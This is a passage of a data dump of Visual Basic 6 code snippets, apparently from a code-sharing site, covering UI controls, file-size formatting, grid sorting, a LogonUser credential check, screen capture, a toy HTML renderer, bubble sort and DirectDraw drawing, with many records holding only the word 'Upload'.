statement\nIf Mid(c, n, 1) = \" \" Then 'check to see if It should seperate commands\ngetfiletoopen Mid(c, 1, n - 1) 'pick out the command from line only Mid(c, 1, n - 1) is the command file\nc = Right(c, Len(c) - n) 'change command and get rid of last handled file\nn = 0 'reset letter to 0\nEnd If\nn = n + 1 'increment to next letter\nNext howlong 'go on to next letter\n'takes care of last command line or 1st one if only one file is to be opened\nIf c <> \"\" Then ' checks to see if there is a 1st or last command\ngetfiletoopen c ' you can change this to load your file or command. c is the command parameter of the last file\nEnd If\nEnd Sub"},{"WorldId":1,"id":7265,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim szDomain As String\nDim szUser As String\nDim szPassword As String\nDim lToken As Long\nDim lResult As Long\nszDomain = Text1.Text & Chr(0)\nszUser = Text2.Text & Chr(0)\nszPassword = Text3.Text & Chr(0)\nlToken = 0&\nlResult = LogonUser(szUser, _\n szDomain, _\n szPassword, _\n ByVal LOGON32_LOGON_BATCH, _\n ByVal LOGON32_PROVIDER_DEFAULT, _\n lToken)\nIf lResult = 0 Then\n MsgBox \"Error: \" & Err.LastDllError\nElse\n If lToken = 0 Then\n MsgBox \"Not Valid user, password or domain\"\n Else\n MsgBox \"Valid User\"\n End If\nEnd If\nEnd Sub"},{"WorldId":1,"id":7268,"LineNumber":1,"line":"Option Explicit\n' T O D O:\n' ********\n' New Project -> ActiveX Control\n' Add a Label (\"lblCaption\")\n' and a Timer (\"tmrHighlight\").\n' That's it!\n\n' Private Variables/Types/Enumerations/Constants\n' **********************************************\nPrivate Enum htWhatToApply\n apyDrawBorder = 1\n apyBackColor = 2\n apyCaption = 4\n apyEnabled = 8\n apyFont = 16\n apyAll = (apyBackColor Or apyCaption Or apyEnabled Or apyFont)\nEnd Enum\nDim mbHasCapture As Boolean\nDim mpntLabelPos As POINTAPI\nDim mpntOldSize As POINTAPI\n' API Declarations/Types/Constants\n' ********************************\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\nPrivate Const BDR_RAISEDINNER = &H4\nPrivate Const BDR_RAISEDOUTER = &H1\nPrivate Const BDR_SUNKENINNER = &H8\nPrivate Const BDR_SUNKENOUTER = &H2\nPrivate Const BDR_MOUSEOVER = BDR_RAISEDINNER\nPrivate Const BDR_MOUSEDOWN = BDR_SUNKENOUTER\nPrivate Const BF_BOTTOM = &H8\nPrivate Const BF_FLAT = &H4000\nPrivate Const BF_LEFT = &H1\nPrivate Const BF_RIGHT = &H4\nPrivate Const BF_TOP = &H2\nPrivate Const BF_RECT = (BF_LEFT Or BF_TOP Or BF_RIGHT Or BF_BOTTOM)\n\nPrivate Declare Function apiDrawEdge Lib \"user32\" _\n Alias \"DrawEdge\" _\n (ByVal hdc As Long, _\n ByRef qrc As RECT, _\n ByVal edge As Long, _\n ByVal grfFlags As Long) As Long\n \nPrivate Declare Function apiGetCursorPos Lib \"user32\" _\n Alias \"GetCursorPos\" _\n (lpPoint As POINTAPI) As Long\n \nPrivate Declare Function apiWindowFromPoint Lib \"user32\" _\n Alias \"WindowFromPoint\" _\n (ByVal xPoint As Long, _\n ByVal yPoint As Long) As Long\n \nPrivate Declare Function apiDrawFocusRect Lib \"user32\" _\n Alias \"DrawFocusRect\" _\n (ByVal hdc As Long, _\n lpRect As RECT) As Long\n \n' Properies (Variables/Constants)\n' *******************************\nPrivate mProp_AlwaysHighlighted As Boolean\nPrivate mProp_BackColor As OLE_COLOR\nPrivate mProp_Caption As String\nPrivate mProp_Enabled As Boolean\nPrivate mProp_FocusRect As Boolean\nPrivate mProp_Font As StdFont\nPrivate mProp_HoverColor As OLE_COLOR\nConst mDef_AlwaysHighlighted = False\nConst mDef_BackColor = vbButtonFace\nConst mDef_Caption = \"Button2K\"\nConst mDef_Enabled = True\nConst mDef_FocusRect = True\nConst mDef_Font = Null ' Ambient.Font\nConst mDef_HoverColor = vbHighlight\n' Public Enumerations\n' *******************\nPublic Enum b2kClickReason\n b2kReasonMouse\n b2kReasonAccessKey\n b2kReasonKeyboard\nEnd Enum\n' Events\n' ******\nEvent Click(ByVal ClickReason As b2kClickReason)\nPrivate Sub tmrHighlight_Timer()\n Dim pntCursor As POINTAPI\n \n apiGetCursorPos pntCursor\n If apiWindowFromPoint(pntCursor.X, pntCursor.Y) = hWnd Then\n If Not mbHasCapture Then\n Call ApplyProperties(apyDrawBorder)\n lblCaption.ForeColor = mProp_HoverColor\n mbHasCapture = True\n End If\n Else\n If mbHasCapture Then\n Line (0, 0)-(ScaleWidth - 1, ScaleHeight - 1), mProp_BackColor, B\n lblCaption.ForeColor = vbButtonText\n mbHasCapture = False\n End If\n End If\nEnd Sub\nPrivate Sub UserControl_AccessKeyPress(KeyAscii As Integer)\n RaiseEvent Click(b2kReasonAccessKey)\nEnd Sub\nPrivate Sub UserControl_Click()\n RaiseEvent Click(b2kReasonMouse)\nEnd Sub\nPrivate Sub UserControl_EnterFocus()\n Dim rctFocus As RECT\n \n If Not mProp_FocusRect Then Exit Sub\n \n rctFocus.Left = 3\n rctFocus.Top = 3\n rctFocus.Right = ScaleWidth - 3\n rctFocus.Bottom = ScaleHeight - 3\n \n apiDrawFocusRect hdc, rctFocus\n Refresh\nEnd Sub\nPrivate Sub UserControl_ExitFocus()\n If mProp_FocusRect Then Line (3, 3)-(ScaleWidth - 4, ScaleHeight - 4), mProp_BackColor, B\nEnd Sub\nPrivate Sub UserControl_Initialize()\n AutoRedraw = True\n ScaleMode = vbPixels\n lblCaption.Alignment = vbCenter\n lblCaption.AutoSize = True\n lblCaption.BackStyle = vbTransparent\n tmrHighlight.Enabled = False\n tmrHighlight.Interval = 1\nEnd Sub\nPrivate Sub UserControl_InitProperties()\n Width = 1215\n Height = 375\n \n mProp_AlwaysHighlighted = mDef_AlwaysHighlighted\n mProp_BackColor = mDef_BackColor\n mProp_Caption = mDef_Caption\n mProp_Enabled = mDef_Enabled\n mProp_FocusRect = mDef_FocusRect\n Set mProp_Font = Ambient.Font\n mProp_HoverColor = mDef_HoverColor\n \n Call ApplyProperties(apyAll)\nEnd Sub\nPrivate Sub UserControl_ReadProperties(PropBag As PropertyBag)\n mProp_AlwaysHighlighted = PropBag.ReadProperty(\"AlwaysHighlighted\", mDef_AlwaysHighlighted)\n mProp_BackColor = PropBag.ReadProperty(\"BackColor\", mDef_BackColor)\n mProp_Caption = PropBag.ReadProperty(\"Caption\", mDef_Caption)\n mProp_Enabled = PropBag.ReadProperty(\"Enabled\", mDef_Enabled)\n mProp_FocusRect = PropBag.ReadProperty(\"FocusRect\", mDef_FocusRect)\n Set mProp_Font = PropBag.ReadProperty(\"Font\", Ambient.Font)\n mProp_HoverColor = PropBag.ReadProperty(\"HoverColor\", mDef_HoverColor)\n \n Call ApplyProperties(apyAll)\n \n If Ambient.UserMode Then\n If mProp_AlwaysHighlighted Then\n Call ApplyProperties(apyDrawBorder)\n Else\n tmrHighlight = True\n End If\n End If\nEnd Sub\nPrivate Sub UserControl_WriteProperties(PropBag As PropertyBag)\n With PropBag\n .WriteProperty \"AlwaysHighlighted\", mProp_AlwaysHighlighted, mDef_AlwaysHighlighted\n .WriteProperty \"BackColor\", mProp_BackColor, mDef_BackColor\n .WriteProperty \"Caption\", mProp_Caption, mDef_Caption\n .WriteProperty \"Enabled\", mProp_Enabled, mDef_Enabled\n .WriteProperty \"FocusRect\", mProp_FocusRect, mDef_FocusRect\n .WriteProperty \"Font\", mProp_Font, Ambient.Font\n .WriteProperty \"HoverColor\", mProp_HoverColor, mDef_HoverColor\n End With\nEnd Sub\nPrivate Sub UserControl_KeyDown(KeyCode As Integer, Shift As Integer)\n If KeyCode = vbKeySpace Or KeyCode = vbKeyReturn Then\n UserControl_MouseDown -2, -2, -2, -2\n End If\nEnd Sub\nPrivate Sub UserControl_KeyPress(KeyAscii As Integer)\n If KeyAscii = vbKeySpace Or KeyAscii = vbKeyReturn Then\n RaiseEvent Click(b2kReasonKeyboard)\n End If\nEnd Sub\nPrivate Sub UserControl_KeyUp(KeyCode As Integer, Shift As Integer)\n If KeyCode = vbKeySpace Or KeyCode = vbKeyReturn Then\n UserControl_MouseUp -2, -2, -2, -2\n End If\nEnd Sub\nPrivate Sub UserControl_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim rctBtn As RECT\n Dim dwRetVal As Long\n \n tmrHighlight.Enabled = False\n lblCaption.Left = mpntLabelPos.X + 1\n lblCaption.Top = mpntLabelPos.Y + 1\n Line (0, 0)-(Width, Height), mProp_BackColor, B\n \n rctBtn.Left = 0\n rctBtn.Top = 0\n rctBtn.Right = ScaleWidth\n rctBtn.Bottom = ScaleHeight\n \n dwRetVal = apiDrawEdge(hdc, rctBtn, BDR_MOUSEDOWN, BF_RECT)\nEnd Sub\nPrivate Sub UserControl_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Dim pntCursor As POINTAPI\n \n lblCaption.Left = mpntLabelPos.X\n lblCaption.Top = mpntLabelPos.Y\n \n apiGetCursorPos pntCursor\n If apiWindowFromPoint(pntCursor.X, pntCursor.Y) = hWnd Or mProp_AlwaysHighlighted Then\n Call ApplyProperties(apyDrawBorder)\n mbHasCapture = True\n Else\n Line (0, 0)-(ScaleWidth - 1, ScaleHeight - 1), mProp_BackColor, B\n mbHasCapture = False\n End If\n \n If Not mProp_AlwaysHighlighted Then tmrHighlight.Enabled = True\nEnd Sub\nPrivate Sub lblCaption_Click()\n RaiseEvent Click(b2kReasonMouse)\nEnd Sub\nPrivate Sub lblCaption_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n UserControl_MouseDown Button, Shift, -1, -1\nEnd Sub\nPrivate Sub lblCaption_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n UserControl_MouseUp Button, Shift, -1, -1\nEnd Sub\nPrivate Sub UserControl_Resize()\n Dim rctBtn As RECT\n Dim dwRetVal As Long\n Static sbFirstTime As Boolean\n \n If Not sbFirstTime Then\n sbFirstTime = True\n Else\n Cls\n End If\n \n lblCaption.AutoSize = False\n lblCaption.Top = (ScaleHeight / 2) - (lblCaption.Height / 2)\n lblCaption.Left = 1\n lblCaption.Width = ScaleWidth - 2\n \n If Not Ambient.UserMode Or mProp_AlwaysHighlighted Then\n Call ApplyProperties(apyDrawBorder)\n End If\n \n mpntLabelPos.X = lblCaption.Left\n mpntLabelPos.Y = lblCaption.Top\n mpntOldSize.X = ScaleWidth\n mpntOldSize.Y = ScaleHeight\nEnd Sub\n' Private Procedures\n' ******************\nPrivate Sub ApplyProperties(ByVal apyWhatToApply As htWhatToApply)\n Dim rctBtn As RECT\n Dim dwRetVal As Long\n Dim n As Long\n \n If (apyWhatToApply And apyBackColor) Then UserControl.BackColor = mProp_BackColor\n If (apyWhatToApply And apyCaption) Then\n lblCaption.Caption = mProp_Caption\n AccessKeys = \"\"\n For n = Len(mProp_Caption) To 1 Step -1\n If Mid$(mProp_Caption, n, 1) = \"&\" Then\n If n = 1 Then\n AccessKeys = Mid$(mProp_Caption, n + 1, 1)\n ElseIf Not Mid$(mProp_Caption, n - 1, 1) = \"&\" Then\n AccessKeys = Mid$(mProp_Caption, n + 1, 1)\n Exit For\n Else\n n = n - 1\n End If\n End If\n Next n\n End If\n \n If (apyWhatToApply And apyFont) Then\n Set UserControl.Font = mProp_Font\n lblCaption.AutoSize = True\n Set lblCaption.Font = mProp_Font\n lblCaption.AutoSize = False\n lblCaption.Top = (ScaleHeight / 2) - (lblCaption.Height / 2)\n lblCaption.Left = 1\n lblCaption.Width = ScaleWidth - 2\n End If\n \n If (apyWhatToApply And apyEnabled) Then\n If Ambient.UserMode Then\n lblCaption.Enabled = mProp_Enabled\n UserControl.Enabled = mProp_Enabled\n End If\n End If\n \n If (apyWhatToApply And apyDrawBorder) Then\n Line (0, 0)-(Width, Height), mProp_BackColor, B\n rctBtn.Left = 0\n rctBtn.Top = 0\n rctBtn.Right = ScaleWidth\n rctBtn.Bottom = ScaleHeight\n \n dwRetVal = apiDrawEdge(hdc, rctBtn, BDR_MOUSEOVER, BF_RECT)\n End If\nEnd Sub\n' Properies\n' *********\nPublic Property Get AlwaysHighlighted() As Boolean\n AlwaysHighlighted = mProp_AlwaysHighlighted\nEnd Property\nPublic Property Let AlwaysHighlighted(ByVal bNewValue As Boolean)\n If Ambient.UserMode Then\n Err.Raise 383\n Else\n mProp_AlwaysHighlighted = bNewValue\n PropertyChanged \"AlwaysHighlighted\"\n End If\nEnd Property\nPublic Property Get BackColor() As OLE_COLOR\n BackColor = mProp_BackColor\nEnd Property\nPublic Property Let BackColor(ByVal oleNewValue As OLE_COLOR)\n mProp_BackColor = oleNewValue\n Call ApplyProperties(apyBackColor Or apyDrawBorder)\n PropertyChanged \"BackColor\"\nEnd Property\nPublic Property Get Caption() As String\n Caption = mProp_Caption\nEnd Property\nPublic Property Let Caption(ByVal sNewValue As String)\n mProp_Caption = sNewValue\n Call ApplyProperties(apyCaption)\n PropertyChanged \"Caption\"\nEnd Property\nPublic Property Get FocusRect() As Boolean\n FocusRect = mProp_FocusRect\nEnd Property\nPublic Property Let FocusRect(ByVal bNewValue As Boolean)\n If Ambient.UserMode Then\n Err.Raise 383\n Else\n mProp_FocusRect = bNewValue\n PropertyChanged \"FocusRect\"\n End If\nEnd Property\nPublic Property Get Font() As StdFont\n Set Font = mProp_Font\nEnd Property\nPublic Property Set Font(ByVal fntNewValue As StdFont)\n Set mProp_Font = fntNewValue\n Call ApplyProperties(apyFont)\n PropertyChanged \"Font\"\nEnd Property\nPublic Property Get Enabled() As Boolean\n Enabled = mProp_Enabled\nEnd Property\nPublic Property Let Enabled(ByVal bNewValue As Boolean)\n mProp_Enabled = bNewValue\n Call ApplyProperties(apyEnabled)\n PropertyChanged \"Enabled\"\nEnd Property\nPublic Property Get HoverColor() As OLE_COLOR\n HoverColor = mProp_HoverColor\nEnd Property\nPublic Property Let HoverColor(ByVal oleNewValue As OLE_COLOR)\n mProp_HoverColor = oleNewValue\n PropertyChanged \"HoverColor\"\nEnd Property\n"},{"WorldId":1,"id":7270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7280,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7296,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7299,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7318,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7327,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7331,"LineNumber":1,"line":"Public Function FormatFileSize(ByVal dblFileSize As Double, _\n Optional ByVal strFormatMask As String) _\n As String\n' FormatFileSize: Formats dblFileSize in bytes into\n' X GB or X MB or X KB or X bytes depending\n' on size (a la Win9x Properties tab)\nSelect Case dblFileSize\n Case 0 To 1023 ' Bytes\n FormatFileSize = Format(dblFileSize) & \" bytes\"\n Case 1024 To 1048575 ' KB\n If strFormatMask = Empty Then strFormatMask = \"###0\"\n FormatFileSize = Format(dblFileSize / 1024#, strFormatMask) & \" KB\"\n Case 1024# ^ 2 To 1073741823 ' MB\n If strFormatMask = Empty Then strFormatMask = \"###0.0\"\n FormatFileSize = Format(dblFileSize / (1024# ^ 2), strFormatMask) & \" MB\"\n Case Is > 1073741823# ' GB\n If strFormatMask = Empty Then strFormatMask = \"###0.0\"\n FormatFileSize = Format(dblFileSize / (1024# ^ 3), strFormatMask) & \" GB\"\nEnd Select\nEnd Function\n\n"},{"WorldId":1,"id":7335,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7345,"LineNumber":1,"line":"Private Sub grdDataGrid_HeadClick(ByVal ColIndex As Integer)\n Dim strColName As String\n Static bSortAsc As Boolean\n Static strPrevCol As String\n \n strColName = grdDataGrid.Columns(ColIndex).DataField\n \n' Did the user click again on the same column ? If so, check\n' the previous state, in order to toggle between sorting ascending\n' or descending. If this is the first time the user clicks on a column\n' or if he/she clicks on another column, then sort ascending.\n If strColName = strPrevCol Then\n If bSortAsc Then\n adoPrimaryRS.Sort = strColName & \" DESC\"\n bSortAsc = False\n Else\n adoPrimaryRS.Sort = strColName\n bSortAsc = True\n End If\n Else\n adoPrimaryRS.Sort = strColName\n bSortAsc = True\n End If\n \n strPrevCol = strColName\nEnd Sub\n"},{"WorldId":1,"id":7346,"LineNumber":1,"line":"Public Function CaptureScreen(PicDest As Object)\n \n DeskWnd& = GetDesktopWindow\n deskdc& = GetDC(DeskWnd&)\n \n Call BitBlt(PicDest.hDC, 0&, 0&, Screen.Width, Screen.Height, deskdc&, _\n 0&, 0&, SRCCOPY)\n \n Call ReleaseDC(deskdc&, 0&)\n \n PicDest.Refresh\nEnd Function"},{"WorldId":1,"id":7347,"LineNumber":1,"line":"Public Function CutDecimal(Number As String, ByPlace As Byte) As String\n Dim Dec As Byte\n \n Dec = InStr(1, Number, \".\", vbBinaryCompare) ' find the Decimal\n\n If Dec = 0 Then\n CutDecimal = Number 'if there is no decimal Then dont do anything\n Exit Function\n End If\n CutDecimal = Mid(Number, 1, Dec + ByPlace) 'How many places you want after the decimal point\nEnd Function\n\nFunction GiveByteValues(Bytes As Double) As String\n \n If Bytes < BYTEVALUES.KiloByte Then\n GiveByteValues = Bytes & \" Bytes\"\n \n ElseIf Bytes >= BYTEVALUES.GigaByte Then\n GiveByteValues = CutDecimal(Bytes / BYTEVALUES.GigaByte, 2) & \" Gigabytes\"\n \n ElseIf Bytes >= BYTEVALUES.MegaByte Then\n GiveByteValues = CutDecimal(Bytes / BYTEVALUES.MegaByte, 2) & \" Megabytes\"\n \n ElseIf Bytes >= BYTEVALUES.KiloByte Then\n GiveByteValues = CutDecimal(Bytes / BYTEVALUES.KiloByte, 2) & \" Kilobytes\"\n End If\nEnd Function\n"},{"WorldId":1,"id":7348,"LineNumber":1,"line":"Private Sub Space_Images()\nDim PicCols As Integer\nDim PicRows As Integer\nDim HExtraSpace As Integer\nDim VExtraSpace As Integer\nDim HSpacing As Integer\nDim VSpacing As Integer\nDim i As Integer\nDim j As Integer\nDim k As Integer\nOn Error Resume Next\n 'Calculate the appropriate spacings\n PicCols = CInt((Me.Width / picPicture(0).Width) - 0.5)\n PicRows = CInt((Me.Height / picPicture(0).Height) - 0.5)\n HExtraSpace = Me.Width - (picPicture(0).Width * PicCols)\n VExtraSpace = Me.Height - (picPicture(0).Height * PicRows)\n HSpacing = CInt((HExtraSpace / (PicCols + 1)) - 0.5)\n VSpacing = CInt((VExtraSpace / (PicRows + 1)) - 0.5)\n \n 'Display the background images\n For i = 0 To PicRows - 1\n For j = 0 To PicCols - 1\n k = (PicCols * i) + j\n Load picPicture(k)\n picPicture(k).Left = (HSpacing * (j + 1)) + (picPicture(0).Width * j)\n picPicture(k).Top = (VSpacing * (i + 1)) + (picPicture(0).Height * i)\n picPicture(k).Visible = True\n Next j\n Next i\n \nEnd Sub\n"},{"WorldId":1,"id":7349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7358,"LineNumber":1,"line":"'\n' A simple demo on how to write a HTML renderer.\n' written by Dan Ushman <ushman@mediaone.net>\n' Please visit Refsoft at www.refsoft.com\n'\n' This code is free. It is not restricted in ANY way\n' you can use it, take credit for it, do what ever you want\n' with it. I honestly don't care.\n'\n' I know its not perfect, but I did not spend to much\n' time on it. I wrote this in 10 minutes one night\n' when I was bored.\n'\n' Anyway, please E-mail me and tell me what you think\n' And...\n'\n' Enjoy,\n' Dan Ushman - ushman@mediaone.net - www.refsoft.com\n'\nOption Explicit 'Many programmers do not use this. What they dont know is\n 'weather or not they declare there variables can and will\n 'have a large effect on how much memory your program will use\n 'and how stable it will be. I recommend that every one\n 'use this line of code, and declare every variable they use\n 'I learned this the hard way, while writting Uut I was wondering why\n 'it took so much ram... Well , thats all.\nSub RenderHTML(pic As PictureBox, html As String)\n \n '\n ' Always declare variables\n '\n \n 'Integers\n Dim lentext As Integer\n Dim html_loop_1 As Integer 'The main loop\n Dim html_loop_2 As Integer 'Secondary loop\n Dim html_pos_1 As Integer 'Opening carret\n Dim html_pos_2 As Integer 'Closing carret\n \n 'Strings\n Dim str_html As String 'The copy of the original HTML string\n Dim html_tag As String 'Stores the tag...\n Dim html_text As String 'Stores the text to be modified by the tags\n Dim cur_char As String 'Used in the loops, one char at a time\n \n 'Boolean\n Dim open_c As Boolean 'Is it an opening carret?\n Dim close_c As Boolean 'Is it a closing carret?\n \n '\n ' Get the length of the HTML and some other things...\n '\n lentext = Len(html) 'The length of the HTML string\n str_html = html 'The copy of the original HTML string\n \n \n '\n ' Loop though the HTML\n '\n For html_loop_1 = 1 To lentext 'The main loop\n html_pos_1 = InStr(str_html, \"<\") 'Find the locations of the Opening and Closing carrets\n html_pos_2 = InStr(str_html, \">\")\n \n cur_char = Mid(str_html, html_loop_1, 1) 'Go though the HTML byte by byte\n \n If cur_char = \"<\" Then 'Is it an openning carret?\n open_c = True\n close_c = False\n html_tag = \"\" 'Clear the tag variable, for now.\n ElseIf cur_char = \">\" Then 'Maby not...\n open_c = False\n close_c = True\n If InStr(html_tag, \"<\") Then\n html_tag = Right(html_tag, Len(html_tag) - InStr(html_tag, \"<\"))\n End If\n End If\n \n If open_c = True And close_c = False Then 'If the carret is currently open...\n html_tag = html_tag & cur_char 'combine all the chrs after it until the carret closes...\n End If 'I am very sure there are tons of better ways to do this,\n 'but this works fine.\n \n If close_c = True And open_c = False Then\n If Not cur_char = \"<\" And Not cur_char = \">\" Then\n html_text = html_text & cur_char 'Add each char together aslong as its not a carret (both kinds) or\n End If 'part of a tag. This part could use some work, its not perfect and is rather buggy.\n End If\n \n '\n 'So far this little project of mine only supports BOLD, ITALIC and UNDERLINE HTML tags. I may or may not\n 'add more support. I am lazy, so don't bet your dinner.\n '\n \n If close_c = True And open_c = False Then\n html_tag = LCase(html_tag) 'Make sure the tag is lowercase.\n Select Case html_tag 'Start going though the tag, and doing what it wants us to do\n Case Is = \"b\"\n pic.FontBold = True 'If the tag is on, make the text bold, else dont...\n Case Is = \"i\"\n pic.FontItalic = True\n Case Is = \"u\"\n pic.FontUnderline = True\n Case Is = \"/b\"\n pic.FontBold = False\n Case Is = \"/i\"\n pic.FontItalic = False\n Case Is = \"/u\"\n pic.FontUnderline = False\n End Select\n pic.Print html_text;\n html_text = \"\" 'Clear the variables when we are done.\n html_tag = \"\"\n End If\n \n Next html_loop_1 'And we are on our way... again.\n \nEnd Sub\n"},{"WorldId":1,"id":7359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7362,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7364,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function GetVolumeInformation& Lib \"kernel32\" _\n Alias \"GetVolumeInformationA\" (ByVal lpRootPathName _\n As String, ByVal pVolumeNameBuffer As String, ByVal _\n nVolumeNameSize As Long, lpVolumeSerialNumber As Long, _\n lpMaximumComponentLength As Long, lpFileSystemFlags As _\n Long, ByVal lpFileSystemNameBuffer As String, ByVal _\n nFileSystemNameSize As Long)\nConst MAX_FILENAME_LEN = 256\nPrivate Sub Command1_Click()\n Label1.Caption = SerNum(\"C\") 'C is the standard harddisk\nEnd Sub\nPublic Function SerNum(Drive$) As Long\n Dim No&, s As String * MAX_FILENAME_LEN\n Call GetVolumeInformation(Drive + \":\\\", s, MAX_FILENAME_LEN, _\n No, 0&, 0&, s, MAX_FILENAME_LEN)\n SerNum = No\nEnd Function\nPrivate Sub Form_Load()\nEnd Sub\n"},{"WorldId":1,"id":7367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7378,"LineNumber":1,"line":"Public Sub cBubbleSort(inputArray As Variant)\n\tDim lDown As Long, lUp As Long\n\tFor lDown = UBound(inputArray) To LBound(inputArray) Step -1\n\t\tFor lUp = LBound(inputArray) + 1 To lDown\n\t\t\tIf inputArray(lUp - 1) > inputArray(lDown) Then SwapValues inputArray(lUp - 1), inputArray(lDown)\n\t\tNext lUp\n\tNext lDown\nEnd Sub\nPublic Sub SwapValues(firstValue As Variant, secondValue As Variant)\n\tDim tmpValue As Variant\n\ttmpValue = firstValue\n\tfirstValue = secondValue\n\tsecondValue = tmpValue\nEnd Sub\nThis is the same code but with explainations:\nPublic Sub cBubbleSort(inputArray As Variant)\n\tDim lDown As Long, lUp As Long ' Two variables that will be used in the fors\n\tFor lDown = UBound(inputArray) To LBound(inputArray) Step -1 ' One variable will go from the upper bound of the array\n\t\tFor lUp = LBound(inputArray) + 1 To lDown ' and the second one will go from the lowest bound to the top\n\t\t\tIf inputArray(lUp - 1) > inputArray(lDown) Then SwapValues inputArray(lUp - 1), inputArray(lDown) ' This line check if the value from the up-to-down for is higher than the value from the down-to-up for, if so the sub call a swap sub that switches the values places\n\t\tNext lUp ' Continue to the next value from down-to-up\n\tNext lDown ' Continue to the next value from up-to-down\nEnd Sub\nPublic Sub SwapValues(firstValue As Variant, secondValue As Variant) ' This sub switches the values\n\tDim tmpValue As Variant ' Temp variable to store the first value\n\ttmpValue = firstValue ' put the first value into a temp variable\n\tfirstValue = secondValue ' put the second value into the first\n\tsecondValue = tmpValue ' and then put the first value, that stored in a temp variable, into the second\nEnd Sub\nIf this code wasn't helpful and you still want to know how the bubble sort algorithm works so go to this links:\nI hope this code was helpful if so please vote for me.\n1) http://technology.niagarac.on.ca/courses/comp435/labs/bubblesort.html\n2) http://www.cis.ufl.edu/~ddd/cis3020/summer-97/lectures/lec16/tsld042.htm\n3) http://www.enm.maine.edu/Courses/C/SourceCode/BUBBLE.html\n4) http://www-ee.eng.hawaii.edu/Courses/EE150/Book/chap10/subsection2.1.2.2.html\n5)http://www.scism.sbu.ac.uk/law/Section5/chap2/s5c2p13.html"},{"WorldId":1,"id":7380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7391,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7402,"LineNumber":1,"line":"Private Sub Form_Load()\nForm1.WindowState = vbDefault\nTimer1.Enabled = True\nTimer1.Interval = 1\nH.Visible = False\nW.Visible = False\nH.Text = Form1.Height\nW.Text = Form1.Width\n\nEnd Sub\n\nPrivate Sub Timer1_Timer()\nIf Form1.WindowState = vbMaximized Or Form1.WindowState = vbMinimized Then\n Form1.WindowState = vbDefault\n Else\n Form1.Height = H\n Form1.Width = W\nEnd If\nEnd Sub"},{"WorldId":1,"id":7405,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7407,"LineNumber":1,"line":"Option Explicit\nPrivate DX7 As DirectX7\nPrivate DXD As DirectDraw7\nPrivate DXDS As DirectDrawSurface7\nPrivate DXSD As DDSURFACEDESC2\nPrivate Sub Form_Load()\n Dim i As Long, j As Long\n \n frmMain.Show\n 'Create a DirectX7-Object and a DirectDraw-Object\n Set DX7 = New DirectX7\n Set DXD = DX7.DirectDrawCreate(\"\")\n With DXSD\n .lFlags = DDSD_CAPS\n .ddsCaps.lCaps = DDSCAPS_PRIMARYSURFACE\n End With\n 'Fullscreen and set the resolution to 640 X 480\n DXD.SetCooperativeLevel frmMain.hWnd, DDSCL_EXCLUSIVE Or DDSCL_FULLSCREEN\n DXD.SetDisplayMode 640, 480, 16, 0, DDSDM_DEFAULT\n 'Create the Surface using the Surfacedescription DXSD\n Set DXDS = DXD.CreateSurface(DXSD)\n i = 0\n Do Until DoEvents()\n For j = 0 To ScaleWidth Step 50\n 'Set the Linecolor\n DXDS.SetForeColor i\n 'Draw the line\n DXDS.DrawLine Rnd * Screen.Width, Rnd * Screen.Height, j, 0\n i = i + 1\n 'Change the color\n If i = 65536 Then\n i = 0\n End If\n Next j\n Loop\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Call endp\nEnd Sub\nPrivate Sub endp()\n 'Clean up things\n DXD.RestoreDisplayMode\n Set DX7 = Nothing\n Set DXD = Nothing\n Set DXDS = 